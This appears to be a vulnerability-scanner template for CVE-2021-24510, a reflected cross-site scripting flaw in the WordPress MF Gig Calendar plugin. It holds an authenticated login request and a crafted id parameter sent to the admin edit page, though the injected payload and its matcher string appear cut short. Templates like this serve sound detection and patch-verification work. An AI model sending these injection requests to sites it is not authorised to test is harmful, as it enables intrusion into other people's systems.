id: CVE-2021-24510
info:
name: WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting
author: dhiyaneshDK
severity: medium
description: WordPress MF Gig Calendar plugin 1.1 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize or escape the id GET parameter before outputting back in the admin dashboard when editing an event.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update to the latest version of WordPress MF Gig Calendar plugin (>=1.2) which includes proper input sanitization and validation.
reference:
- https://wpscan.com/vulnerability/715721b0-13a1-413a-864d-2380f38ecd39
- https://nvd.nist.gov/vuln/detail/CVE-2021-24510
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24510
cwe-id: CWE-79
epss-score: 0.00143
epss-percentile: 0.50031
cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:*:*:*:*:wordpress:*:*:*
metadata:
max-request: 2
vendor: mf_gig_calendar_project
product: mf_gig_calendar
tags: cve2021,cve,wp-plugin,authenticated,wpscan,wordpress,mf_gig_calendar_project
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="><" HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- ''
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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